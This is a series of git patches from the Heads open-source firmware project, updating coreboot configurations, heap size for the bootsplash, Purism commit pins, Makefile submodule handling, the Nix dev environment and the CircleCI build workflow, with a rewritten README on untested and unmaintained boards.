@@ CONFIG_PLATFORM_USES_FSP2_0=y CONFIG_PLATFORM_USES_FSP2_X86_32=y CONFIG_HAVE_INTEL_FSP_REPO=y CONFIG_ADD_FSP_BINARIES=y +CONFIG_PLATFORM_USES_SECOND_FSP=y CONFIG_FSP_T_LOCATION=0xfffe0000 CONFIG_FSP_S_CBFS="fsps.bin" CONFIG_FSP_M_CBFS="fspm.bin" CONFIG_FSP_FULL_FD=y +CONFIG_FSP_S_CBFS_2="fsps_2.bin" +CONFIG_FSP_M_CBFS_2="fspm_2.bin" +CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" +CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_FSP_USES_CB_STACK=y @@ -593,6 +600,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -617,6 +625,7 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -648,6 +657,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -710,6 +720,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/flake.nix b/flake.nix index 9ad4d9ac1..89c50dd1c 100644 --- a/flake.nix +++ b/flake.nix @@ -52,6 +52,7 @@ libtool m4 ncurses5 # make menuconfig and slang + nss openssl # needed for talos-2 kernel build parted patch diff --git a/modules/coreboot b/modules/coreboot index 9aaf29cfc..0297386de 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -82,10 +82,10 @@ coreboot-talos_2_repo := https://github.com/Dasharo/coreboot coreboot-talos_2_commit_hash := fc47236e9877f4113dfcce07fa928f52d4d2c8ee $(eval $(call coreboot_module,talos_2,)) -# Similarly, purism is based on 4.22.01, but nothing builds against that release +# Similarly, purism is based on 24.02.01, but nothing builds against that release # or any other fork - no benefit to sharing the toolchain yet. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git -coreboot-purism_commit_hash := 0d12e16886ac41d63cb3d60687866060fa75deee +coreboot-purism_commit_hash := 93435b9067d30ec84a6c45ca8649cc76913b1cb8 $(eval $(call coreboot_module,purism,)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port @@ -118,21 +118,19 @@ CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) # Ensure that touching the config file will force a rebuild $(build)/$(coreboot_dir)/.configured: $(CONFIG_COREBOOT_CONFIG) -EXTRA_FLAGS ?= -fdebug-prefix-map=$(pwd)=heads -gno-record-gcc-switches -Wno-error=packed-not-aligned -Wno-address-of-packed-member - # Select the coreboot version to use for the toolchain ifeq "$($(coreboot_module)_toolchain)" "" - # Use the same module - coreboot_toolchain_module := $(coreboot_module) +# Use the same module +coreboot_toolchain_module := $(coreboot_module) else - # Use a different module - coreboot_toolchain_module := coreboot-$($(coreboot_module)_toolchain) - modules-y += $(coreboot_toolchain_module) - # The toolchain module won't build anything for this board, we just need - # the module prepped so we can hook up the toolchain target - $(coreboot_toolchain_module)_output := .nobuild - $(coreboot-toolchain_module)_configure := echo -e 'all:\n\ttouch .nobuild' > Makefile.nobuild - $(coreboot-toolchain_module)_target := -f Makefile.nobuild +# Use a different module +coreboot_toolchain_module := coreboot-$($(coreboot_module)_toolchain) +modules-y += $(coreboot_toolchain_module) +# The toolchain module won't build anything for this board, we just need +# the module prepped so we can hook up the toolchain target +$(coreboot_toolchain_module)_output := .nobuild +$(coreboot-toolchain_module)_configure := echo -e 'all:\n\ttouch .nobuild' > Makefile.nobuild +$(coreboot-toolchain_module)_target := -f Makefile.nobuild endif $(coreboot_module)_configure := \ @@ -151,8 +149,6 @@ $(coreboot_module)_configure := \ obj="$(build)/$(coreboot_dir)" \ DOTCONFIG="$(build)/$(coreboot_dir)/.config" \ BUILD_TIMELESS=1 \ - CFLAGS_x86_32="$(EXTRA_FLAGS)" \ - CFLAGS_x86_64="$(EXTRA_FLAGS)" \ # Create a dependency from coreboot to the toolchain. Use .heads-toolchain to # mark that the toolchain was built. @@ -210,8 +206,6 @@ $(coreboot_module)_target := \ XGCCPATH="$(build)/$($(coreboot_toolchain_module)_base_dir)/util/crossgcc/xgcc/bin/" \ $(COREBOOT_TARGET_CROSS) \ BUILD_TIMELESS=1 \ - CFLAGS_x86_32="$(EXTRA_FLAGS)" \ - CFLAGS_x86_64="$(EXTRA_FLAGS)" \ $(MAKE_JOBS) $(coreboot_module)_output := $(CONFIG_COREBOOT_ROM) From ff9adad7d2b0b49f966d408db3bc8b7e9aab831a Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Mon, 15 Jul 2024 16:55:34 -0400 Subject: [PATCH 161/619] modules/coreboot: Update Purism to 24.02.01-Purism-1 w/bootsplash fix Increases coreboot heap size to accommodate Heads bootsplash. Signed-off-by: Jonathon Hall --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 0297386de..fdb1878ab 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -85,7 +85,7 @@ $(eval $(call coreboot_module,talos_2,)) # Similarly, purism is based on 24.02.01, but nothing builds against that release # or any other fork - no benefit to sharing the toolchain yet. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git -coreboot-purism_commit_hash := 93435b9067d30ec84a6c45ca8649cc76913b1cb8 +coreboot-purism_commit_hash := f4f61b75bcfc50fa3a89f8f438e5312e750f6e3c $(eval $(call coreboot_module,purism,)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port From fa42c7a224c247ec76d52f272f987d636c44e821 Mon Sep 17 00:00:00 2001 From: fhvyhjriur <75321183+fhvyhjriur@users.noreply.github.com> Date: Mon, 3 Jun 2024 15:50:05 +0000 Subject: [PATCH 162/619] Update README.md : cherry-pick of PR #1696's commit with me signing. Discussion about this here: https://github.com/linuxboot/heads/issues/1682 Signed-off-by: Thierry Laurion --- unmaintained_boards/README.md | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/unmaintained_boards/README.md b/unmaintained_boards/README.md index 41ee2010d..b78ef5e5c 100644 --- a/unmaintained_boards/README.md +++ b/unmaintained_boards/README.md @@ -1,4 +1,13 @@ -Boards under this directory were moved from UNTESTED_ to UNMAINTAINED_ automatically since untested for a while. -Boards not having UNMAINTAINED in their names are not compliant with current build system (linuxboot) and need reupstreaming. +Boards listed under this directory are not made available from CircleCI. No .rom file is available for endusers. This is protecting as good as possible regular endusers from having to open up their devices and having to own a SPI-clip and a external flasher. +After core changes in coreboot or heads, known testers with external flasher are asked to test a new release and report if their system is starting up fine. If those known testers do not respond, a .rom id made available from CircleCI to the public with addition in filename UNTESTED_ . This invite people with external flasher that could recover a not booting system to report if the release is working fine. +Warning: Do not try to use UNTESTED_ images if you do not have a external flasher. -To test those boards, move them to boards directory and follow normal build operations, test builds on boards and open an issue stating you are willing to test those when builds are made available from CircleCI in the future. +After about a month passes by and there is still no report if the system is starting up fine with the new release, the device is moved to this directory to stop building UNTESTED_ images. Reason for this is because there are always users ignoring all warnings and then asking questions like how to recover a not starting system without external programmer. + +To get a device out of this directory and make it at available from CircleCI again, open up a issue here https://github.com/linuxboot/heads/issues and ask for a build for the specific device you like to test or build it youself. When building it yourself, please dont forget to report a working state. + +The additional name UNMAINTAINED_ is added to the device name, when maintanance is known needed. +When device is UNTESTED_ and someone test and report a not booting image, the device get as soon as possibe moved to this directory and changed from UNTESTED_ to UNMAINTAINED_. Its then tested and not working. + +When a device have just the addition UNMAINTAINED_ but is not in this directory and there are CircleCI .rom files available to the endusers, then its tested starting up the system but have some problems like for example not working Network card and there is no maintainer to fix the problem. +If a UNMAINTAINED_ device dont get tested on a new release, it follow up the same UNTESTED_ procedure like described above and have UNMAINTAINED_UNTESTED_ in the name. From a2876a26a1bd34eaa90cb0266de9aac8d1ac8f71 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 24 Jul 2024 15:54:18 -0400 Subject: [PATCH 163/619] Makefile: When cloning a repo from Git, update submodules correctly When cloning a repo from Git, actually change to the repo directory to check out the submodules as well. Without the -C , the submodule checkout happened in the Heads repo itself, which has no submodules. This is important for coreboot being built in CI. Without this, the coreboot submodules will be checked out automatically by the coreboot build system during the build, meaning they will not be in the prepped module cache. A trade-off though is that at this point, we don't know what submodules are actually needed - we will clone some that are not needed. coreboot knows to skip some submodules during the build if they are not needed. Signed-off-by: Jonathon Hall --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 4266d89e3..860508cab 100644 --- a/Makefile +++ b/Makefile @@ -392,7 +392,7 @@ define define_module = $(build)/$($1_base_dir)/.canary: FORCE if [ ! -e "$$@" ]; then \ git clone $($1_repo) "$(build)/$($1_base_dir)"; \ - git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && git submodule update --init --checkout; \ + git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && git -C "$(build)/$($1_base_dir)" submodule update --init --checkout; \ echo -n '$($1_repo)|$($1_commit_hash)' > "$$@"; \ elif [ "$$$$(cat "$$@")" != '$($1_repo)|$($1_commit_hash)' ]; then \ echo "Switching $1 to $($1_repo) at $($1_commit_hash)" && \ From 1e54152f30fdfb9ad7417753740c7aef71bd6ce5 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 26 Jul 2024 11:09:29 -0400 Subject: [PATCH 164/619] Makefile: Don't check out submodules when cloning a git module Checking out submodules was much worse for coreboot, it has many submodules and only a subset of them are actually used. coreboot knows to sync the needed submodules during its build. Instead, just remove the errant command that did not actually work. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- Makefile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 860508cab..9ba5426bd 100644 --- a/Makefile +++ b/Makefile @@ -378,7 +378,9 @@ define define_module = # First time: # Checkout the tree instead and create the canary file with repo and # revision so that we know that the files are all present and their - # version. + # version. Submodules are _not_ checked out, because coreboot has + # many submodules that won't be used, let coreboot check out its own + # submodules during build # # Other times: # If .canary contains the same repo and revision combination, do nothing. @@ -392,7 +394,7 @@ define define_module = $(build)/$($1_base_dir)/.canary: FORCE if [ ! -e "$$@" ]; then \ git clone $($1_repo) "$(build)/$($1_base_dir)"; \ - git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && git -C "$(build)/$($1_base_dir)" submodule update --init --checkout; \ + git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash); \ echo -n '$($1_repo)|$($1_commit_hash)' > "$$@"; \ elif [ "$$$$(cat "$$@")" != '$($1_repo)|$($1_commit_hash)' ]; then \ echo "Switching $1 to $($1_repo) at $($1_commit_hash)" && \ From 8ff19d17bc6318378e8f434845981edb1d84e903 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 25 Jul 2024 09:29:28 -0400 Subject: [PATCH 165/619] Bump nix develop based docker image to tlaurion/heads-dev-env:v0.2.1: include moreutils to be able to use 'ts' in CircleCI builds ('make BOARD=xyz V=1 | ts') to give timestamps of each make step Signed-off-by: Thierry Laurion --- flake.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/flake.nix b/flake.nix index 89c50dd1c..415124654 100644 --- a/flake.nix +++ b/flake.nix @@ -79,6 +79,7 @@ diffoscopeMinimal # Not sure exactly what is packed here, let's try. Might need diffoscope if something is missing gnupg #to inject public key inside of qemu create rom through inject_gpg target of targets/qemu.mk TODO: remove when pflash supported by flashrom + modify code less # so 'git log' is usable + moreutils # so that 'make 2>&1 | ts' can give timestamps ] ++ [ # Tools for handling binary blobs in their compressed state. (blobs/xx30/vbios_[tw]530.sh) bundler From 43f35702883e73bb12d9d584833239400df861b7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 25 Jul 2024 12:23:16 -0400 Subject: [PATCH 166/619] CircleCI: add CircleCI intermediary musl-cross build step per arch, cleanup Signed-off-by: Thierry Laurion --- .circleci/config.yml | 112 ++++++++++++++++++------------------------- 1 file changed, 47 insertions(+), 65 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index f142ef669..c1cc0e0d6 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -11,41 +11,41 @@ commands: type: string steps: - run: - name: Make Board (console logs not contiguous because multiple CPUS used to build under CircleCI, see logs in artifacts or Output build failing logs below in case of failed step) + name: Make Board (console logs not contiguous because multiple CPUs used to build under CircleCI, see logs in artifacts or Output build failing logs below in case of failed step) command: | echo "Sourcing /devenv.sh since docker entrypoint doesn't do it as expected" source /devenv.sh - rm -rf build/<>/<>/* build/<>/log/* - make V=1 BOARD=<> <> || touch ./tmpDir/failed_build + rm -rf build/<< parameters.arch >>/<< parameters.target >>/* build/<< parameters.arch >>/log/* + make V=1 BOARD=<< parameters.target >> << parameters.subcommand >> | ts || touch ./tmpDir/failed_build no_output_timeout: 3h - run: name: Output hashes command: | - cat build/<>/<>/hashes.txt || echo "No hashes.txt for this build step..." + cat build/<< parameters.arch >>/<< parameters.target >>/hashes.txt || echo "No hashes.txt for this build step..." - run: name: Output sizes command: | - cat build/<>/<>/sizes.txt || echo "No sizes.txt for this build step..." + cat build/<< parameters.arch >>/<< parameters.target >>/sizes.txt || echo "No sizes.txt for this build step..." - run: name: Archiving build logs. command: | - tar zcvf build/<>/<>/logs.tar.gz $(find build/ -name "*.log") + tar zcvf build/<< parameters.arch >>/<< parameters.target >>/logs.tar.gz $(find build/ -name "*.log") - run: name: Output build failing logs command: | if [[ -f ./tmpDir/failed_build ]]; then - find "./build/<>/" -name "*.log" -type f -mmin -1 -exec tail -n +1 '{}' + - exit 1 + find "./build/<< parameters.arch >>/" -name "*.log" -type f -mmin -1 -exec tail -n +1 '{}' + + exit 1 else - echo "Step hasn't failed. Continuing with next step..." + echo "Step hasn't failed. Continuing with next step..." fi - store_artifacts: - path: build/<>/<> + path: build/<< parameters.arch >>/<< parameters.target >> jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.2.1 resource_class: large working_directory: ~/heads steps: @@ -73,7 +73,7 @@ jobs: - restore_cache: # First matched/found key wins and following keys are not tried keys: - # Cache for matching modules digest, validated to be exactly the same as in github current commit. + # Cache for matching modules digest, validated to be exactly the same as in GitHub current commit. # This cache was made on top of below caches, if previously existing. # If no module definition changed, we reuse this one - nix-docker-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.2.1 resource_class: large working_directory: ~/heads parameters: @@ -126,20 +126,20 @@ jobs: - attach_workspace: at: ~/heads - build_board: - arch: <> - target: <> - subcommand: <> + arch: << parameters.arch >> + target: << parameters.target >> + subcommand: << parameters.subcommand >> - persist_to_workspace: root: ~/heads paths: - - packages/<> - - build/<> - - crossgcc/<> - - install/<> + - packages/<< parameters.arch >> + - build/<< parameters.arch >> + - crossgcc/<< parameters.arch >> + - install/<< parameters.arch >> build: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.2.1 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.2.0 + - image: tlaurion/heads-dev-env:v0.2.1 resource_class: large working_directory: ~/heads steps: @@ -176,25 +176,21 @@ jobs: - crossgcc - packages - save_cache: - # Generate cache for the same coreboot mnd musl-cross-make modules definition if hash is not previously existing + # Generate cache for the same coreboot and musl-cross-make modules definition if hash is not previously existing # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names key: nix-docker-heads-coreboot-musl-cross-{{ checksum "./tmpDir/coreboot_musl-cross.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/coreboot-talos_2 - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/coreboot-4.11 - - build/x86/coreboot-4.13 - - build/x86/coreboot-4.14 - - build/x86/coreboot-4.15 - - build/x86/coreboot-4.17 - - build/x86/coreboot-4.22.01 + - build/x86/coreboot-24.02.01 - build/x86/coreboot-nitrokey - build/x86/coreboot-purism - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - crossgcc - packages - save_cache: - #Generate cache for the exact same modules definitions if hash is not previously existing + # Generate cache for the exact same modules definitions if hash is not previously existing key: nix-docker-heads-modules-and-patches-{{ checksum "./tmpDir/all_modules_and_patches.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build @@ -208,16 +204,33 @@ workflows: jobs: - prep_env + # This step builds musl-cross for x86 architecture, which will be used by subsequent x86 board builds + - build_and_persist: + name: x86-musl-cross + target: x230-hotp-maximized + subcommand: "musl-cross" + requires: + - prep_env + + # This step builds musl-cross for ppc64 architecture, which will be used by subsequent ppc64 board builds + - build_and_persist: + name: ppc64-musl-cross + arch: ppc64 + target: talos-2 + subcommand: "musl-cross" + requires: + - prep_env + # Below, sequentially build one board for each coreboot version. # The last board in the sequence is the dependency for the parallel boards built at the end, and also save_cache. - # coreboot 4.22.01 + # coreboot 24.02.01 - build_and_persist: name: x230-hotp-maximized target: x230-hotp-maximized subcommand: "" requires: - - prep_env + - x86-musl-cross # coreboot purism - build_and_persist: @@ -237,7 +250,7 @@ workflows: target: nitropad-nv41 subcommand: "" requires: - - prep_env + - x86-musl-cross # coreboot talos_2 - build_and_persist: @@ -246,7 +259,7 @@ workflows: target: talos-2 subcommand: "" requires: - - prep_env + - ppc64-musl-cross # coreboot 4.11 - build_and_persist: @@ -254,7 +267,7 @@ workflows: target: librem_l1um subcommand: "" requires: - - prep_env + - x86-musl-cross # Cache one workspace per architecture # Make sure workspace caches are chainloaded and the last in chain for an arch is saved @@ -263,10 +276,7 @@ workflows: - talos-2 - librem_14 - # # Those onboarding new boards should add their entries below. - # - # coreboot 4.22.01 boards - build: name: x220-hotp-maximized @@ -513,31 +523,3 @@ workflows: subcommand: "" requires: - librem_l1um - -# - build: -# name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard -# target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard -# subcommand: "" -# requires: -# - UNMAINTAINED_kgpe-d16_workstation - -# - build: -# name: UNMAINTAINED_kgpe-d16_server -# target: UNMAINTAINED_kgpe-d16_server -# subcommand: "" -# requires: -# - UNMAINTAINED_kgpe-d16_workstation - -# - build: -# name: UNMAINTAINED_kgpe-d16_server-whiptail -# target: UNMAINTAINED_kgpe-d16_server-whiptail -# subcommand: "" -# requires: -# - UNMAINTAINED_kgpe-d16_workstation - -# - build: -# name: librem_l1um -# target: librem_l1um -# subcommand: "" -# requires: -# - librem_14 From f0c951fa915faf2253d65bd5179438f9db6f4204 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 26 Jul 2024 14:16:37 -0400 Subject: [PATCH 167/619] CircleCI: fix naming of cache: coreboot-nitrokey -> coreboot-dasharo Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index c1cc0e0d6..324d7001b 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -184,7 +184,7 @@ jobs: - build/ppc64/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/coreboot-4.11 - build/x86/coreboot-24.02.01 - - build/x86/coreboot-nitrokey + - build/x86/coreboot-dasharo - build/x86/coreboot-purism - build/x86/musl-cross-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - crossgcc From 119cebc44f51b0d69069bf37e9817156b96df09c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 16 Jul 2024 09:44:38 -0400 Subject: [PATCH 168/619] coreboot 24.02.01: add upstream pending patches for heap allocation failure on bootsplash and defaulting to 4mb of heap when bootsplash Add upstreeam patches to downstream: git fetch https://review.coreboot.org/coreboot refs/changes/75/83475/1 && git format-patch -1 --stdout FETCH_HEAD > 0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch git fetch https://review.coreboot.org/coreboot refs/changes/76/83476/2 && git format-patch -1 --stdout FETCH_HEAD > 0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch Rebuilding coreboot version with patches applied: docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:v0.2.0 -- make BOARD=qemu-coreboot-whiptail-tpm1 real.remove_canary_files-extract_patch_rebuild_what_changed Remove file added by patch when patching fails: sudo rm build/x86/libgpg-error-1.46/src/syscfg/lock-obj-pub.powerpc64le-unknown-linux-musl.h Applying patches touching coreboot version 24.02.01 defiend in board config to all boards: grep -R 24.02.01 boards/ | awk -F "/" {'print $2'} | while read board; do sudo make BOARD=$board coreboot.save_in_oldconfig_format_in_place; done Adding added/modified files to git tracked files for commit: git status | grep -e modified -e added | awk -F ":" {'print $2'}| xargs git add Signed-off-by: Thierry Laurion --- config/coreboot-qemu-tpm1.config | 1 + config/coreboot-qemu-tpm2.config | 1 + config/coreboot-t420-maximized.config | 1 + config/coreboot-t430-maximized.config | 1 + config/coreboot-t440p.config | 1 + config/coreboot-t530-maximized.config | 1 + config/coreboot-w530-maximized.config | 1 + config/coreboot-w541.config | 1 + config/coreboot-x220-maximized.config | 1 + config/coreboot-x230-legacy-flash.config | 1 + config/coreboot-x230-legacy.config | 1 + config/coreboot-x230-maximized-fhd_edp.config | 1 + config/coreboot-x230-maximized.config | 1 + config/coreboot-z220-cmt.config | 1 + ...h_heap_allocation_failure_to_booting.patch | 80 +++++++++++++++++++ ...rom1mb_to4mb_when_bootpslash_enabled.patch | 44 ++++++++++ 16 files changed, 138 insertions(+) create mode 100644 patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch create mode 100644 patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 214ff7f2a..5493f1be0 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -326,6 +326,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 5ffd0d9b5..8f56f70b3 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -323,6 +323,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index 63f061ef3..eea62bcc9 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -423,6 +423,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 108076214..265d11972 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -423,6 +423,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 702701e7c..13fef27fa 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -420,6 +420,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 095b847e6..9fa623877 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -426,6 +426,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 1780e2e91..a1804e04c 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -426,6 +426,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index d40ccd68f..230d81067 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -420,6 +420,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 4434611d0..00e5216a8 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -423,6 +423,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 89afa4a74..8eec86714 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -412,6 +412,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index d0e9ab0bc..82c815eb0 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -412,6 +412,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index d17f7962a..708f7f22c 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -424,6 +424,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 16e396c04..d62a078de 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -423,6 +423,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index a57660b06..3c98e58e8 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -402,6 +402,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y 